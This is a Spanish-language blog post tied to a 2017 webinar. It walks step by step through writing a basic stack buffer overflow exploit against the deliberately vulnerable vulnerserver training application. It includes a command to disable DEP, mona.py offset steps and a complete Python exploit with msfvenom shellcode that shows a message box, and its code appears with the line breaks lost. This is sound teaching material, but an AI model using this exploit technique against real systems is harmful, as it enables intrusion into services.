Gracias a WebminarLibres una iniciativa de mi amigo Juampa aka @UnD3sc0n0c1d0 el dia 8 de agosto de 2017 participe con una charla explicando el proceso de creación de un exploit de forma básica.
En el video se muestra paso a paso el uso de herramientas y el proceso para la creacion de un exploit, en una entrada anterior podes encontrar paso a paso tambien lo realizado en el video.
Con el transcurso del tiempo ire agregando mas videos y material , que podes encontrar en cualquier otro sitio, mi idea es explicar de la mejor manera y lo mas claro que se pueda
Saludos!
Webminar : Introducción a la explotación de Vulnerabilidades
By Israel Araoz
¡SIMPLE BOF WITH EIP VAINILLA!
Olvide detallar los requisitos
previos para replicar este ejercicio, gracias a @BatmanEsFriki me di cuenta que
es necesario, Antes de comenzar vamos a detallar cuales son los requisitos
técnicos que debemos de tomar para nuestro laboratorio de Exploiting.
- VMware® Workstation 12 Player
- Windows 8 (En este caso como es “Vainilla” , se debe deshabilitar DEP)
- Cmd como administrador -> bcdedit.exe /set nx AlwaysOff
- Immunity Debugguer
- Python 2.7 o 3.x
- Notepad ++
- Fuzzer (el de su elección, puede ser Sulley)
Pueden descargar la aplicación de:
https://github.com/stephenbradshaw/vulnserver
La aplicación crea un
socket tal cual servidor utilizando el puerto 9999, procedemos a crear un
script en Python para realizar una conexión (Disculpen si mi codificación es
mala, no soy programador a tiempo completo :P ).
Debemos utilizar una dirección que
se pueda ejecutar , es decir no debería contener algún carácter nulo o carácter
imprimible.
import socketimport structip = "127.0.0.1"port = 9999try:s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((ip,port))data = s.recv(1024)print datas.send ("HELP\r")data = s.recv(1024)print datas.close()except:print "[*] Could not connect.[*]"
En la imagen podemos observar los
comandos que son implementados y que pueden ser utilizados para identificar
alguna vulnerabilidad en su implementación.
Comandos del Servidor Vulnerable |
Identificando el comando Vulnerable (Fuzzing)
Después de probar varios comandos el primero que identifique
fue TRUN ., como se puede observar en la siguiente imagen, debido a que no es una entrada netamente de Fuzzing no voy hacer enfasis en el proceso (simple script en python con todos los comandos identificados).
Fragmento de Código |
Este comando envía un parámetro
con 10 mil A generando el BOF sobre la aplicación, quiero aclarar como dice el
título “Vainilla”, no estamos saltando restricciones a nivel de O.S o a nivel
de la aplicación, más adelante veremos cómo Saltar DEP, ASLR entre otros.
Control de flujo de Ejecución - EIP |
Una vez identificara la
vulnerabilidad, procedemos a calcular el Offset a EIP, en Inmunity, utilizamos
a mona.py!, generamos una cadena de caracteres únicos de 2100 de longitud.
Comando : !mona
pattern_create 2100
En nuestro código de Python
remplazamos las A’s por la cadena y volvemos a enviar el comando con el
parámetro “malformado”.
6F43386F es el valor sobrescrito
en la dirección a la que apunta el registro EIP, ahora pasamos a calcular el
offset exacto para controlar EIP.
Comando : !mona findmsp
Comando : !mona pattern_offset 0x6F43386F
Buscamos hacer el famoso jmp esp
para luego ejecutar nuestra Shellcode, con unos cuantos nops de por medio.
Sé que existe una etapa donde
tenemos que eliminar caracteres especiales, para esta entrada no hablare,
prefiero dedicar una entrada completa a esta etapa. Generaremos la Shellcode con la
siguiente linea.
Esta será la estructura de
nuestro Exploit = junk + eip + nop_sled + buf + padding, podemos observar el código completo aqui :
import socketimport structip = "127.0.0.1"bof_size= 2100port = 9999junk = "A" * 2005eip = struct.pack('<L',0x625011af) #jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False#msfvenom -a x86 --platform windows -p windows/messagebox TEXT="BOF By @yaritu_ " -f python -b "\x00\x0a\x0d"buf = ""buf += "\xd9\xc3\xd9\x74\x24\xf4\x58\xbb\x3b\xc2\x95\xdc\x33"buf += "\xc9\xb1\x45\x31\x58\x17\x03\x58\x17\x83\xd3\x3e\x77"buf += "\x29\xfa\x54\xe3\x0b\x88\x8e\xe0\x9d\xa2\x7d\x7f\xef"buf += "\x8b\xe6\x0b\x7e\x3b\x6c\x7d\x8d\xb0\x04\x9e\x06\x80"buf += "\xe0\x15\x66\x2c\x7a\x1f\xaf\x63\x64\x15\x3c\x22\x95"buf += "\x04\x3d\x35\xf5\x2d\xae\x91\xd2\xba\x6a\xe5\x91\xe9"buf += "\x5c\x6d\xa7\xfb\x16\xc7\xbf\x70\x72\xf7\xbe\x6d\x60"buf += "\xc3\x89\xfa\x53\xa0\x0b\x13\xaa\x49\x3a\x2b\x31\x19"buf += "\xb9\x6b\xbe\x66\x03\xa4\x32\x69\x44\xd0\xb9\x52\x36"buf += "\x03\x6a\xd1\x27\xc0\x30\x3d\xa9\x3c\xa2\xb6\xa5\x89"buf += "\xa0\x92\xa9\x0c\x5c\xa9\xd6\x85\xa3\x45\x5f\xdd\x87"buf += "\x89\x01\x1d\x75\xb9\xe8\x75\xf3\x5c\x63\xb7\x6c\x10"buf += "\x3a\x36\x81\x7e\x2b\xd9\xa6\x81\x54\x6f\x1d\x79\x10"buf += "\x0e\x46\x63\x15\x68\x6a\x47\x88\x9e\x1d\x78\xd3\xa0"buf += "\xab\xc3\x24\x37\xc0\xa7\x14\x86\x70\x04\x67\x26\xe5"buf += "\x02\xf2\x45\x80\xa0\xcc\x72\xc2\x18\x09\x8f\x5a\x46"buf += "\x07\x70\x09\x82\x21\x4c\xe2\x31\x99\xf3\x4e\xf9\x5d"buf += "\xef\x74\x53\x8a\x4f\x8a\xac\xb5\x18\x1b\x2a\x12\xf9"buf += "\x8b\xab\xc5\x9c\x09\x43\x47\x3a\xfd\xe0\x66\x1f\x89"buf += "\x5a\xad\x95\x03\x81\xc5\x89\x4b\x65\x36\xa2\x02\x11"buf += "\x43\x6d\xbd\x99\xd2\xf0\x4f\x71\x67\x8a\x8f\xa1\x0f"buf += "\x2e\x9f\xe7\xef\x9f\xd6\x6f\xa3\xfb\xf9\xe6\xdd\x35"buf += "\x28\xaa\x4e\x67\x9e\xb5\xa1\xb6\xde\x19\xbd\xec\xd6"nop_sled = "\x90" * 10padding = "C" * (bof_size - (len(junk)+len(eip)+len(nop_sled)+len(buf)))try:s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((ip,port))data = s.recv(1024)print datas.send ("TRUN . "+ junk + eip + nop_sled + buf + padding + " \r")data = s.recv(1024)print datas.close()except:print "[*] Could not connect.[*]"
Desarrollo de Exploit Win32 : Simple BOF , Vainilla EIP
By Israel Araoz
Suscribirse a:
Entradas (Atom)